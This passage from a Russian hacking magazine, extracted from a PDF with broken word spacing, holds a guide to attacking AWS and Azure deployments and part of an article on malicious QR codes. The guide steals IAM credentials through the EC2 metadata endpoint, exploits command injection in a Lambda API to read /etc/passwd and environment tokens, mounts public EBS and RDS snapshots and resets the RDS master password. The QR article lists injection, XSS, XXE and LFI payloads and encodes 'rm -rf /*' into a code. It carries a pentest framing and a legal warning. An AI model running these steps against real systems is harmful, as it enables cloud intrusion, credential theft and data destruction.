Есл и у машины есть дос туп в интернет, это силь но облегчит задачу зло умыш‐
ленни ка. Так же мож но попр обовать собр ать дан ные с помощью OSINT
и исполь зовать их для получен ия дост упа извне.
AWS
Кража метаданных из AWS
Так как нам удал ось заполу чить дост уп к Amazon Elastic Compute Cloud (EC2),
мож но атак овать любой из аспектов EC2 — не толь ко веб‐при ложе ния
или служ бы, но и дос туп к самому облачно му сер вису.
INFO
Во врем я нас тройк и EC2 юзер получае т воз‐
можность соз дать пару ключ ей для SSH. При соз‐
дании EC2 в инфраструкт уре Windows пре дос‐
тавляе тся файл для RDP и учет ная запись. Одна
из базовых нас трое к безопас ности — разд ел
«Групп ы безопасн ости», где поль зователь может
раз решить дос туп к опре делен ным пор там
и опред елен ным IP‐адрес ам, что очень похоже
на обычн ый фай рвол.
EC2 metadata — это данн ые об инстанц ии EC2. Эти данн ые хран ят ся
в незашифр ованн ом виде и могут быть извлеч ены с EC2, если имее тся
локаль ный дос туп к машине. При веду при мер, как с помощью уяз вимос ти
в серв ерной час ти мож но заполуч ить интер есн ую информац ию об учет ных
записях. Можн о вос польз оватьс я curl, чтоб ы про верить метадан ные
на инстан ции EC2.
curl ‐v http://169.254.169.254/
Вы вод этой команд ы выгл ядит так, как показан о на скрин шоте ниже.
Выв од коман ды curl
IP‐адрес 169.254.169.254 — это локальн ый адрес по умолч анию, который
может быть дост упен толь ко с самой инстан ции. Каж дый про дукт AWS имее т
свой уник аль ный ID. Получить его можн о с помощью след ующей коман ды:
curl http://169.254.169.254/latest/meta‐data/ami‐id
Что бы про верить публ ичный адрес EC2, исполь зуй команд у
curl http://169.254.169.254/latest/meta‐data/public‐hostname
Ко манд а Ec2‐metadata дает возм ожность просм отреть общие метаданн ые
EC2.
Прос мотр метадан ных EC2
Что бы узнать публ ичный IP‐адрес, использ уй команд у Ec2‐metadata ‐v.
Имея публ ичный адрес, мож но выпол нить ата ку извне. Для начала сто ит про‐
верить, дост упен ли IP, с использ овани ем Nmap.
Ис сле дуем хост с помощью Nmap
Оказ ывае тся, на хос те работае т SSH, к тому же уяз вимая верс ия. Это под ска‐
зыва ет нам еще нес кольк о возм ожных век торов атак.
Кража учетной записи IAM и настройка удаленного доступа
Что бы узнать дан ные IAM, исполь зуй коман ду вида
curl http://169.254.169.254/latest/meta‐data/iam/info
По лучить расш иренн ые данн ые, вклю чающие accessID, SecretAccessKey, To‐
ken, поз воляе т коман да
curl http://169.254.169.254/latest/meta‐data/iam/
security‐credentials/ec2acess
По луче ние данн ых IAM
Для успешной ата ки с помощью учет ной записи IAM нуж но иметь след ующие
дан ные:
• aws_access_key_id;
• aws_secret_access_key;
• aws_session_token.
Что бы нас тро ить ском пром етир ованн ый IAM‐акка унт для уда лен ного дост упа,
для начала нужн о соз дать новый проф иль с использ ование м крад еных дан‐
ных:
aws configure ‐‐profile hackme
Созд аем «левый» про филь с использ ование м кра деных дан ных
Про филь соз дан, но еще нужн о добавить токен для пол ноценн ой работы уда‐
лен ного дос тупа. Его можн о проп исать вруч ную, измен ив файл ~/.aws/cre‐
dentials.
Про писы ваем токен для нор маль ной работы уда ленн ого дос тупа
На одной машине мож но соз дать неог раниченн ое количес тво проф илей,
главн ое — не меняй проф иль по умол чанию.
AWS — выполнение действий на машине с помощью nimbostratus
Nimbostratus был созд ан как ути лита тест ирова ния в AWS. Но эта тулз а может
исполь зовать ся для кра жи учет ных данн ых на скомп ром ети рован ных EC2,
краж и метаданн ых, для соз дания IAM‐польз овате ля, работы с обра зами RDS
и мно гих друг их задач. Напр имер, можн о получить метаданн ые с исполь‐
зование м nimbostratus сле дующим спос обом:
python nimbostratus dump‐ec2‐metadata
По луче ние метаданн ых с использ ование м nimbostratus
ЭКСПЛУАТАЦИЯ СЕРВИСОВ
Эксплуатация уязвимости в AWS Lambda
AWS Lambda — это плат формен ная услу га Amazon Web Services, пред ос‐
тавля ется она по принц ипу «фун кция как услу га». На что сто ит обрат ить вни‐
мание при тес тирова нии AWS Lambda?
• Дос туп к Lambda пред ост авля ется через сетевой шлюз (gateway) или же
через AWS‐тригг еры.
• Ча ще уязв имост и обнар ужив ают ся при тест ирова нии на инъ екции, фаз‐
зинге и миск онфиг ура циях сер верной част и.
Напр имер, при вво де точ ки с запятой в стро ку для URL и какой‐либо команд ы
вид но, что эта коман да исполняе тся из‐за наличия уяз вимост и на стор оне
серв ера.
Экс плуа та ция коман дной инъ екции в AWS Lambda
Напр имер, запус тить коман ду id на удал енн ой машине можн о сле дующим
образ ом.
curl https://8o9kujtxv3.execute‐api.us‐east‐1.amazonaws.com/api/hack;
id;w
А с помощью сле дующей команд ы мож но загл януть в /etc/passwd.
curl https://API‐endpoint/api/hello;cat%20%2fetc%2fpasswd;w
Что бы ско пиро вать эту информа цию в текс то вый файл, использ уем сле‐
дующую дирек тиву.
curl https://8o9kujtxv3.execute‐api.us‐east‐1.amazonaws.com/api/hack;
cat%20%2fetc%2fpasswd;w > pass.txt
Еще одна важн ая осо бен ность Lambda — это вре мен ный токен, который пре‐
дос тавляе тся в виде переменн ой сре ды. Его мож но пров ерить коман дой
printenv:
curl https://8o9kujtxv3.execute‐api.us‐east‐1.amazonaws.com/api/hack;
printenv;w
Ког да учет ные дан ные AWS укра дены и добав лены в интерфейс команд ной
стро ки AWS, мож но попытатьс я заг рузить lambda‐код. Это необ ходимо, если
ты хочешь узнать, какие lambda‐функ ции выполн яют ся в целевой сред е, а так‐
же попытатьс я най ти кон фиден циальн ую информа цию.
Пер ечис лить lambda‐фун кции, которые дос тупны для текуще го про филя,
можн о с помощью коман ды aws lambda list‐functions. Ее вывод показан
на след ующем скрин шоте.
Пер ечис ляем lambda‐фун кции, которые дост упны для текущег о про филя
Что бы получить ссыл ку на заг рузку lambda‐функ ции, использ уй эту команд у:
aws lambda get‐function ‐‐function‐name <FUNCTION‐NAME>
Как тольк о код будет заг ружен на твою машину, можн о пров ерить, содерж ит
ли он уяз вимост и и кон фиденц иальн ую информац ию.
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
АТАКА НА ОБЛАКА
ГАЙД ПО МЕТОДАМ ВЗЛОМА ПРИЛОЖЕНИЙ
В AZURE И AWS
Эксплуатация облачных хранилищ в AWS
Обл ачные хран или ща наибо лее инте ресн ы для злоу мышл енни ка. AWS
S3 и EBS (Elastic Block Store) довольн о част о содер жат уяз вимос ти и неп‐
равиль ные конф игурац ии, которые могут быть обнар уже ны при сбо ре
информа ции о цели.
AWSBucketDump — это инс тру мент для быст ро го сбор а дан ных о AWS S3.
Он очень похож на SubBrute, так как работае т по анал огичн ой схем е и брут‐
форсит AWS S3. Кро ме того, в AWSBucketDump есть фичи, которые помога ют
авто мати зиро вать поиск и заг рузку инте рес ной информа ции. Для запус ка
AWSBucketDump использ ует ся след ующая коман да:
python AWSBucketDump.py ‐D ‐l BucketNames.txt ‐g s.txt
Скрипт соз даст файл interesting_file.txt, в котором сохр анят ся резуль‐
таты его работы.
Скрипт AWSBucketDump соб рал инте ресн ые дан ные и сох ранил их в тек ‐
сто вый файл
А как узнать, сущес тву ет ли вооб ще интер есу ющее нас хран илищ е S3? Мож‐
но выб рать любой AWS URL и про верить HTTP response. Сущес тву ющая кор‐
зина верн ет нам ListBucketResult или AccessDenied.
Про веря ем, сущест вуе т ли S3
Есл и HTTP Response на $ bucket.s3.amazonaws.com показыв ает NoSuch‐
Bucket, это озна чает, что корз ина не сущес твуе т.
Та кого объе кта нет
С помощью утил иты AWS мож но запр ашивать дан ные о S3 ACL: для этог о
исполь зует ся команд а aws s3api get‐bucket‐acl ‐‐bucket bucket‐name.
Ре зуль тат работы команд ы aws s3api
Для объ ектов, которые имею т откры тый дос туп на чтен ие и запись, в ACL
будет ука зано FULL_CONTROL. Ты можешь созд авать фай лы в такой кор зине
уда ленн о, исполь зуя любую учет ную запись AWS. Мож но залить файл
при помощи утил иты aws с использ овани ем любого про филя, а потом про‐
верить наличие это го фай ла:
aws s3 cp readme.txt s3://bucket‐name‐here ‐‐profile newuserprofile
aws s3 ls s3://bucket‐name‐here ‐‐profile newuserprofile
Вот как эта опер ация выгл ядит в кон соли.
Зал ива ем и про веряе м файл
Amazon Elastic Block Store (Amazon EBS) пред ост авля ет пос тоян ные тома
блоч ных хра нилищ для использ ования с Amazon EC2 в облак е AWS. Каж дый
том Amazon EBS авто матич ес ки репл ициру ется в свое й зоне дос тупнос ти.
Что бы обнар ужить обще дост упные сним ки EBS с опред елен ными пат терна‐
ми, можн о исполь зовать grep:
aws ec2 describe‐snapshots ‐‐region us‐east‐1
‐‐restorable‐by‐user‐ids all | grep ‐C 10 "company secrets"
Рез уль тат исполь зования grep
По лучить зону дос тупност и и ID EC2 поз воля ет след ующая коман да:
aws ec2 describe‐instances ‐‐filters Name=tag:Name,Values=
attacker‐machine
Теп ерь мож но соз дать новый том с исполь зовани ем обна ружен ного снап‐
шота:
aws ec2 create‐volume ‐‐snapshot‐id snap‐03616657ede4b9862
‐‐availability‐zone us‐east‐1b
Посл е соз дания тома обра ти вни мание на VolumeID. Можн о подк лю чить соз‐
данный нами новый том к компью тер у EC2 с использ овани ем ID‐инстан ции
EC2 и ID нового тома. Для это го исполь зует ся след ующая команд а:
aws ec2 attach‐volume ‐‐device /dev/sdh ‐‐instance‐id
i‐05a977acccaa51bd6 ‐‐volume‐id vol‐018bd5c117c410f23
Под клю чаем вновь соз данный том
Для про верк и сос тояния служ ит команд а aws ec2 describe‐volumes ‐‐
filters Name=volume‐id,Values=vol‐018bd5c117c410f23 — если все
в порядк е, сер вер ответ ит in use.
Про верк а подк лю ченн ого тома
Ког да том под клю чен, можн о опред елить раз дел с помощью lsblk и смон‐
тировать его для даль нейшег о ана лиза.
Реляционные базы данных AWS
Обл ачные базы дан ных в случ ае с AWS — это служ ба реляци онных баз дан‐
ных, которая поз воля ет поль зовате лям соз давать базы в облак е и под клю‐
чатьс я к ним из любого мест а. Неред ко в кон фигура ции БД допуск ают ошиб‐
ки, которые могут исполь зовать ата кующие.
Ча ще всег о неп равиль ные конф игурац ии вклю чают в себя сла бую полити‐
ку безопас ности и сла бые пароли, что делае т RDS общед ост упным.
Ниж е при веден при мер эксп луа та ции слаб ого пароля и ролей дос тупа:
при эксп луа тац ии веб‐при ложен ия удал ось най ти SQL‐инъ екцию и заполу‐
чить хеши польз овател я.
По луче ние хешей с использ овани ем SQL‐инъ екции
Оп ределить тип хеша мож но с помощью ути литы hash‐identifier. Напр имер, мы
можем запуст ить hashcat, что бы подобр ать пароль для поль зовате ля
rdsroot, след ующей коман дой:
hashcat ‐m 300 ‐a 0 D1DBA23DC29396BCDAE208D3AF7AF9F065CF3CC4
wordlist.txt
Подк лю чить ся к базе дан ных мож но, использ уя обычн ый клие нт MySQL.
Под клю чаем ся к базе дан ных
Как тольк о дост уп к RDS получен, можн о попытатьс я дамп нуть базу данн ых.
Есть мно го спо собов этог о дост ичь c помощью SQL‐инъе кции или через
AWS‐конс оль, которая поз воляе т монт ировать RDS‐образ. Для получен ия
дост упа к дан ным можн о сброс ить пароль этих образ ов.
Сним ки RDS могут быть дост упны извне. Если дос тупен ID образ а, этот
образ может быть смонт ирован на машину, с которой прои зво дит ся атак а.
Найт и нуж ный ID поможет утил ита AWS, команд а вот такая:
aws rds describe‐db‐snapshots ‐‐include‐public ‐‐snapshot‐type public
‐‐db‐snapshot‐identifier arn:aws:rds:us‐east‐1:159236164734:
snapshot:globalbutterdbbackup
Ищем ID образ а с помощью утил иты AWS
Что бы восс тан овить образ как новую инстан цию, исполь зуем след ующую
коман ду:
aws rds restore‐db‐instance‐from‐db‐snapshot ‐‐db‐instance‐identifier
recoverdb ‐‐publicly‐accessible ‐‐db‐snapshot‐identifier arn:aws:
rds:us‐east‐1:159236164734:snapshot:globalbutterdbbackup
‐‐availability‐zone us‐east‐1b
Как тольк о образ вос стан овл ен, мож но про верить, все ли работа ет, а потом
поп робовать под клю чить ся:
aws rds describe‐db‐instances ‐‐db‐instance‐identifier recoverdb
Па раметр DBInstanceStatus показыв ает ста тус инстан ции. Как толь ко бэкап
заверш ится, зна чение DBInstanceStatus ста нет available.
Про веряе м стат ус объе кта
Теп ерь мож но сбро сить пароль для MasterUsername и залоги нить ся:
aws rds modify‐db‐instance ‐‐db‐instance‐identifier recoverdb
‐‐master‐user‐password NewPassword1 ‐‐apply‐immediately
Про верить, работа ет ли MySQL RDP и разр ешае т ли подк люч ения, мож но
с помощью команд ы nc rds‐endpoint 3306 ‐‐zvv. Что бы под клю чить ся
к базе данн ых и извлечь данн ые из нее, чаще всег о использ уют обычн ый кли‐
ент MySQL.
ОБЛАЧНОЕ ХРАНИЛИЩЕ AZURE
Azure Storage пред ос тавля ет облачное хран или ще, которое включ ает в себя
объе кты Azure drops, хра нили ща data lake, файл ы, оче реди и таб лицы. Неп‐
равильн ые конф игурац ии могут при вест и к утеч ке конф иденц иаль ных дан ных
и потен циальн ому риск у друг их серв исов.
Azure drops являю тся экви валент ом AWS S3 и поз воля ют хран ить объе кты.
Дос туп к этим объ ектам может быть получен через HTTP с исполь зовани ем
соз данно го URL.
На при веден ной ниже карт инке можн о уви деть прим ер непр авильн ых кон‐
фигурац ий прав дос тупа к файл ам в хран или ще Azure.
При мер неп равиль ной конф игура ции прав дост упа к файл ам в хра нили‐
ще Azure
Непр авиль ные при вилег ии позв оля ют увид еть, какие файл ы хра нят ся в Azure
drops, а так же дают возм ожность удал ять файл ы. В резуль тате могут быть
потеря ны конф иденц иальн ые данн ые и наруше на работосп особ ность друг их
сер висов.
Ад рес Azure drops пред став ляет собой FQDN, который явля ется пол ным
доменн ым име нем и содерж ит запись типа A. Она, в свою оче редь, указ ывае т
на прин ад лежность к IP‐адре су Microsoft. Поэтом у для поис ка объ ектов Azure
drops можн о исполь зовать любой инст ру мент перечисл ения подд оменов,
который про веря ет либо наличие записи A для домен ного имен и, либо коды
сост ояния HTTP.
Мож но исполь зовать такие утил иты, как dnsscan. Для дост ижения луч шего
результ ата желатель но исполь зовать собс твен ные сло вари. С базовым сло‐
варем поиск подд оменов выпол няет ся такой команд ой:
python dnsscan.py ‐d blob.core.windows.net ‐w subdomains‐100.txt
Ре зуль тат ее работы показан на сле дующей иллюст рац ии.
По иск под доменов с помощью dnsscan
Нет рудно отыс кать и дост упные из сети облачные базы дан ных Azure. Имя
конечн ой точ ки сер вера базы дан ных SQL Azure име ет вид ??.database.win‐
dows.net. Поиск в интернет е для этой кон крет ной стро ки может дать инте‐
ресн ые резуль таты. По сути, имен а конечн ых точек базы данн ых и потен‐
циаль ные учет ные записи мож но найт и с помощью Google или поиск а под‐
доменов.
ЗАКЛЮЧЕНИЕ
Есл и ты перенес инфраструкт уру в обла ко, это не знач ит, что можн о пол‐
ностью забыть обо всех проб лемах, свя занн ых с безопасн остью. Они никуда
не исчезли. В этой статье мы расс мот рели основные прие мы, которые хакеры
могут использ овать при атак ах на при ложен ия, расп оложен ные в Azure. Эти
знан ия помогут тебе избеж ать основных риск ов, но никт о не уга дает, ког да
появят ся новые. Так что расс лаб лять ся не стои т!
В гибр идной облачной сре де, где некото рые дан ные хран ят ся локальн о,
а некото рые в облак ах, к воп росам ИБ сле дует подх одить комп лексно. И тес‐
тирован ие на про ник новение — наилучш ий спос об оцен ить, наск оль ко
хорошо решены вопр осы защиты данн ых. Оно поз воля ет выявить сла бые эле‐
мен ты, спо собн ые пос тавить под угро зу защиту всей инфраструк туры орга‐
низа ции. Защита от утечк и дан ных и собл юдение пра вил безопас ности тре‐
буют пост оянн ой бдит ель нос ти.
WWW
•Статья о пасс ивном сбо ре данн ых в AWS
из блог а Rhino Security Labs
•Кол лекция шпар галок для пров еден ия тес‐
тирова ния на про ник новение в обла ке
•Под борка пос тов в блог е ком пании NetSPI
по теме тест ирован ия Azure
•Под борка материа лов по ауди ту безопас ности
в обла ке
•Слайд ы к лек ции Рияза Валика ра о пент есте
лям бда‐фун кции
•Статья об исслед ован ии безопас ности
облачных серв исов S3, IAM и EC2 в бло ге Virtue
Security
ВЗЛОМ
ВКУРИВАЕМ
QRКАК СДЕЛАТЬ QR‐КОД
С СЮРПРИЗОМ
QR‐код сейч ас совер шенно обыд енн ая FantomGuard
вещь — они встре чают ся пов сюду, их fantom‐[email protected]
исполь зуют как один из спо собов автор иза‐
ции крупн ые серв исы врод е WhatsApp,
Яндекса и AliExpress, встре чают ся QR‐коды
для под клю чения к Wi‐Fi. Но нас кольк о
надежн а эта техн ология? Мож но ли соз дать
такой QR‐код, при скан иро вании которо го
выполн ится нагр узка на девайс е жерт вы?
Этот воп рос мы сегод ня раз берем под‐
робнее.
QR‐код (англ. Quick Response Code — код быст рог о реаги рова ния) —
это мат ричный или двум ерн ый штрих‐код, который может содерж ать
до 4296 сим волов ASCII. То есть, прощ е говоря, кар тинка, в которой зашиф‐
рован текст.
ИСТОРИЯ ВЕКТОРА АТАКИ
В мае 2013 года спец иалист ы комп ании по сетевой безопас ности Lookout
Mobile разр абота ли спе циальн ые QR‐коды, которые смог ли скомп ро мети‐
ровать очки Google Glass. На тот момент очки ска ниров али все фотогр афии,
«которые могут быть полезн ы их вла дельц у», — и пре дост авили взломщ икам
пол ный удал ен ный дос туп к устройс тву. Исслед ова тели сооб щили в Google
о данн ой уяз вимост и, и ее закр ыли букв альн о за нес коль ко недель.
К счастью, испра вить успел и до того, как ее можн о было исполь зовать вне
лабора тории, ведь взлом очков реаль ного польз овате ля мог при вест и к боль‐
шим проб лемам.
В 2014 году прог рамма Barcode Scanner для мобильн ых устрой ств из про‐
екта ZXing прак тичес ки не про веря ла тип URI, передав аемый через QR‐код.
В результ ате любой эксп ло ит, который мог быть исполнен брау зе ром (нап‐
ример, написанн ый на JavaScript), мож но было передать через QR.
Ска нер пытал ся отфильт ро вать опас ные виды атак с помощью регуляр ных
выраже ний, тре буя, что бы URI имел перио д с пос ледую щим прод лени ем
как минимум на два симв ола, тран спортный про токол дли ной не менее двух
сим волов, за которым след ует дво еточ ие, и чтоб ы в URI не было про белов.
Есл и содер жимое не соот ветс тву ет хотя бы одном у из тре бова ний, то оно
опре деляе тся как обыч ный текст, а не URI. Этот механизм блок иру ет ата ки
вро де javascript;alert("You have won 1000 dollars! Just Click The
Open Browser Button");, но, внес я пару прост ых измен ений в код, мы
получа ем вари ант, который прог рамма исполня ла в бра узер е, ведь она счи‐
тала JS‐код обыкн овенн ым, «норм альн ым» URI!
Вот как это выг лядело.
Ва риант кода, который бло киров ал ся защит ным механизм ом ска нера
Мо дифи циро ванн ый URI, который прог рамма не могл а отфильт ро вать
Как мы можем увид еть, увед омл ение появи лось в брау зе ре, а знач ит, URI
с потен циаль но вре донос ным кодом был выполн ен. Одна ко выполн яет ся дан‐
ный JS‐код лишь тог да, когд а польз ователь нажима ет Open Browser (то есть
«Открыть в бра узер е»).
Еще один инте ресн ый при мер из 2012 года: эксперт по информац ионн ой
безопас ности Равишанк ар Борг аонк ар (Ravishankar Borgaonkar) прод емонс‐
трир овал, как ска ниро вание прост ейш его QR может при вест и к форм атиро‐
ванию устройс тв Samsung! Что же было внут ри? MMI‐код для сброс а
до завод ских нас тро ек: *2767*3855#, а такж е преф икс tel: для соверш ения
USSD‐зап роса.
Са мое опас ное здесь — что человек без предв арительн ой под готов ки
не может узнать содер жимое кода, не отска ниро вав его. А человек очень
любопыт ен: в разл ичных иссле дова ниях больш инс тво испыт уемых (которые,
кста ти, даже не знал и об экспе римент е) ска ниров али QR‐код именн о
из любопытс тва, забывая о собс твенн ой безопас ности. Поэтом у всег да будь
вни мател ен!
WWW
Ес ли у тебя нет ска нера кодов, но уйма своб од‐
ного врем ени — можн о поп робовать расш ифро‐
вать код вручн ую. Инст рукц ия есть на Хаб ре.
QRGEN — КАЖДОМУ ПО КОДУ
Для демонс тра ции средств работы с QR‐кодами я буду использ овать Kali
Linux 2019.2 с уста новл енным Python верс ии 3.7 — это необх одимо для кор‐
рект ной работы ути лит.
WARNING
Не забывай про уго лов ную ответс твенн ость
за созд ание и расп ростран ение вред онос ных
прог рамм, к которым в широком смыс ле отно сят‐
ся и наши «заряжен ные» QR‐коды.
Нач нем с утил иты QRGen, которая позв оля ет созд авать QR‐коды с закоди‐
рован ными в них скрипт ами. Копиру ем репозит орий и перехо дим в папк у
с содер жимым.
git clone https://github.com/h0nus/QRGen
cd QRGen && ls
INFO
QRGen тре бует Python верс ии 3.6 и выше. Если
возн ика ет ошиб ка, поп робуй обно вить интер пре‐
татор.
Ус танавл ива ем все зависим ост и и запуск аем сам скрипт.
pip3 install ‐r requirements.txt
# или python3 ‐m pip install ‐r requirements.txt
python3 qrgen.py
Ви дим справ ку.
Справ ка QRGen
Арг умент ‐h выведет то же самое, а вот запуск с клю чом ‐l при ведет
к генерац ии QR‐кодов из опред елен ной катего рии. Всег о их восемь.
1. SQL‐инъе кции.
2. XSS.
3. Инъе кции команд.
4. QR с фор матиро ванн ой стро кой.
5. XXE.
6. Фазз инг строк.
7. SSI‐инъ екции.
8. LFI или получе ние дост упа к скрыт ым катало гам.
Возможные атаки
Теп ерь давай посм отрим на при меры из кажд ой категор ии, а такж е раз‐
беремс я, какой урон и каким устрой ствам они могут нанест и.
1. 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
2. <svg onload=alert(1)>
3. cat /etc/passwd
4. %d%d%d%d%d%d%d%d%d%d
5. <!ENTITY % xxe SYSTEM "php://filter/convert.base64‐encode/
resource=/etc/passwd" >
6. "A" x 33
7. <pre><!‐‐#exec cmd="ls" ‐‐></pre>
8. ../../../../../../etc/passwd
Пос мотреть текс то вые файл ы со все ми вари анта ми «начинк и» QR‐кодов ты
можешь в папк е words (они раз делены по катего риям, ука зан ным выше).
Теп ерь пара слов о посл едст вия х атак подобн ыми нагр узкам и.
Пер вый класс атак — SQL‐инъ екции — использ уют при взлом е БД
и наруше нии работы веб‐сайт ов. Напр имер, запр ос может вызывать зависа‐
ние сайт а.
След ующий при мер (под номером 2) демонс три рует эксп лу ата цию XSS‐
уяз вимост и при ата ке на веб‐при ложен ия с исполь зование м SVG (Scalable
Vector Graphic). К чему может при вес ти XSS, ты, думаю, и без меня прек расно
зна ешь, так что подр обно на этом оста нав ливать ся не буду.
Тре тий пункт выводит на экран жер твы содер жимое фай ла /etc/passwd:
спи сок аккау нтов Linux‐based‐сис тем и допол нитель ную информац ию о них
(раньш е — хеши паролей этих учет ных записей). В подоб ных слу чаях обычн о
стар ают ся получить /etc/shadow и кон фигура цию сер вера, но все очень
сильн о зависит от цели, так что какие файл ы читать — решай сам.
Чет вертый прим ер предс тавл яет собой выраже ние, которое вызовет
перепол нение буфера (buffer overflow). Оно возн икае т, когд а объе м данн ых
для записи или чте ния боль ше, чем вмещ ает буфер, и спос обн о вызв ать ава‐
рийн ое завер шение или зависа ние прог раммы, ведущее к отка зу в обслу‐
жива нии (denial of service, DoS). Отдельн ые виды перепол нений дают зло‐
умышл енник у возм ожность загр узить и выпол нить про извольн ый машинн ый
код от имен и прог раммы и с прав ами учет ной записи, от которой она выпол‐
няет ся, что делае т эту ошибк у довольн о опас ной.
Пят ый по сче ту класс атак (XXE Injections) пред став ляет собой вариа нт
получе ния скры той информац ии веб‐сер вера с помощью ана лиза вывода
XML‐фай лов. Конк рет но в нашем при мере при запр осе к сер веру тот отве тит
зашиф рован ным в Base64 содерж имым файл а /etc/passwd, который уже
упо минал ся. Одна ко рас шифро вать его не сос тавит труд а — дост аточн о
лишь вос польз овать ся встро енной в больш инс тво дист ри бутив ов Linux ути‐
литой base64 либо же онлайн‐кон вертер ом.
Ата ки форм атной стро ки (прим ер 6) — это класс уяз вимост ей, который
вклю чает в себя пре дос тавлен ие «спец ифичн ых для язы ка марк еров фор‐
мата» для выпол нения про извольн ого кода или сбоя прогр аммы. Говоря
челове ческ им язы ком, это класс атак, при которых при ложе ние некор рект но
очищ ает поль зовательс кий ввод от управля ющих конст рук ций, из‐за чего эти
конст рук ции в результ ате исполня ются. Если ты прог раммир овал на С, то,
конеч но, помн ишь те инте рес ности с выводом переменн ых через printf:
надо было в пер вом аргум ен те (который стро ка) ука зать на тип выводим ого
знач ения (%d для десятич ного чис ла и так далее).
Седь мой пункт пред став ляет собой вари ант command injection, которая
выпол няет опре делен ный код на стор оне сер вера. В моем прим ере будет
выпол нена команд а ls, которая покажет содерж имое текущей директ ории,
но, конеч но, там может быть горазд о более опас ный код.
И наконец, посл едняя катего рия — это LFI‐уязв имос ти (Local File Inclusion;
вклю чение локаль ных фай лов), поз воля ющие просм отреть на уязв имых (или
непр авильн о нас тро енных) серв ерах фай лы и пап ки, которые не дол жны были
быть видн ы всем. Один из возм ожных вари антов — просм отреть файл /etc/
passwd, о котором мы с тобой уже не раз говори ли. Это может выг лядеть вот
так.
Об рати вни мание, что в качес тве тес тового веб‐при ложен ия исполь зует ся
DVWA (Damn Vulnerable Web Application), который был спец иальн о раз работан
для обуч ения пент есту. Мно гие атак и на веб‐прил оже ния мож но отраб отать
на нем.
Практика
А сейч ас перейд ем к практ ике — прот ес тиру ем эту утил иту сами.
Напр имер, запуст им ее с клю чом ‐l 5:
python3 qrgen.py ‐l 5
Ути лита сген ерир овал а 46 QR‐кодов с полез ными нагр узкам и. Все они лежат
в пап ке genqr.
Кажд ый из них содер жит вред оносн ый код, поэтом у хоть я и при веду прим ер,
но часть его будет вырезан а.
Те перь можем запуст ить скрипт с фла гом ‐w (напомн ю, он зас тавля ет скрипт
исполь зовать каст омный слов арь), но сна чала нам нужен файл с нашими
полезн ыми (и не очень) наг рузка ми. Можем использ овать готовые наг рузки
из Metasploit (в Kali они находят ся по пути /usr/share/metasploit‐frame‐
work/modules/payloads) либо же созд ать новый тек сто вый документ и в
него записать что‐нибудь «плох ое», нап ример коман ду для удал ения всех
фай лов на Linux‐based‐сист еме:
rm ‐rf /*
Итак, я назв ал наш «вирус» clear.txt и запус каю QRGen (пред варитель но
уда лив или очис тив папк у genqr):
python3 qrgen.py ‐w /путь/до/clear.txt
Иног да может возн икать ошибк а, как на скринш оте ниже. Не пугайс я,
на работосп особ ность генерат ора кодов она не влия ет.
Ошиб ка
Ес ли ты пер фекцио нист и хочешь ее испра вить, то замени format(i‐1)
на format(i) в самом кон це скрипт а.
Теп ерь давай пос мотрим на сам QR‐код (естест вен но, с вырезан ной
частью) и отскан иру ем его на одном из онлайн‐серв исов.
Как мы можем видеть из скрин шота выше, наш текст был абсо лют но вер но
перене сен в QR‐код!
Эта ути лита (и вект ор атак и) напр авле на ско рее на про верк у незащи щен‐
ного и непопу ляр ного ПО либо же узкоспец иализ иров анн ых инст рум ен тов
(вро де склад ских QR‐скан еров, отправ ляющих SQL‐запр осы к базе данн ых
комп ании). Боль шинс тво сов ремен ных ска неров из сооб ражений безопас‐
ности не выпол няют находя щий ся в QR код. Соот ветст вен но, вариа нтов раз‐
вития событий пос ле скан иро вания два.
1. Скан ер прос то выводит содер жимое нашего изобр ажения (невыгод ный
для хакера вари ант).
2. Скан ер исполняе т код, находящ ий ся внут ри изобр ажения, либо же,
исполь зуя прим ер, о котором мы говорил и раньш е, отправ ляет SQL‐зап‐
рос к БД орган иза ции. Он и ста новит ся перв ым шагом к взлом у базы дан‐
ных комп ании. Естес твен но, глу по при таком раск лад е расс чит ывать, что
рас познан ный текст будет выпол нен как самост оятель ный запр ос, так что
бери нагр узку вро де той, которую обыч но исполь зуешь в веб‐при ложе‐
ниях.
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ВКУРИВАЕМ QR
КАК СДЕЛАТЬ QR‐КОД С СЮРПРИЗОМ
QRLJACKER
Те перь перехо дим ко втор ому инст ру мен ту — QRLJacker. Он отчасти похож
на QRGen, но предс тавл яет соверш енно друг ой век тор ата ки — QRLJacking.
SQRL (про изно сит ся как squirrel — бел ка, а рас шифро вывае тся как Secure,
Quick, Reliable Login или Secure Quick Response Login) — откры тый про ект
для безопас ного вхо да на веб‐сайт и аутент ификац ии. При вхо де, естес твен‐
но, использ ует ся QR‐код, который обес печива ет про вер ку под линност и.
WWW
Офи циальн ая стран ица про екта
Как же выпол няет ся вход при использ овании данн ого спос оба аутент ифика‐
ции?
1. Польз ователь посеща ет сайт и открыв ает сесс ию.
2. Сайт генери рует QR‐код с клю чом сесс ии. Этот код регулярн о меняе тся
в целях безопас ности.
3. Польз ователь ска ниру ет QR‐код.
4. Мо биль ное при ложе ние генерир ует аутен тифика ционн ый сиг нал, который
содерж ит сек ретный токен (в него вход ят ID польз овател я, код сес сии,
спец иальн ое сооб щение, созд анное с помощью при ват ного ключ а поль‐
зовател я).
5. Сайт получае т сиг нал и иден тифицир ует польз овате ля, про изво дя вход
(если, конечн о, верифи кация завер шена кор рек тно).
До вольн о дол го метод SQRL счи тал ся дейс твит ель но безопасн ым, пока
Мохамед Бас сет (Mohamed Basset) не предл ожил спо соб атак и на сер висы,
исполь зующие SQRL, который был назв ан QRLJacking. Спос об треб ует соз‐
дать фишинг овую стран ицу и раз местить на ней генерир уемый через опре‐
деленн ые про межут ки врем ени QR‐код. Давай расс мот рим его поподр обнее.
1. Зло умышл енник иниц иирует клие нт скую QR‐сесс ию и клон ируе т код QR‐
логина на фишинг овую стра ницу.
2. Жер тве отправл яет ся ссыл ка на эту стра ницу. Выгл ядит стран ич ка вполн е
безопасн о.
3. Жер тва ска нируе т подд ельн ый QR‐код, а прил ожен ие отправ ляет сек‐
ретный токен, завер шающий проц есс аутент ифика ции.
4. Зло умыш ленник получае т под твержде ние от сер виса и теперь может кон‐
тро лиро вать аккау нт жер твы.
Имен но для реали зации дан ного метода была соз дана утил ита QRLJacker,
о которой сейч ас и пой дет речь.
Ка кие веб‐ресур сы уязв имы перед подобн ым век тором атак и? По завере‐
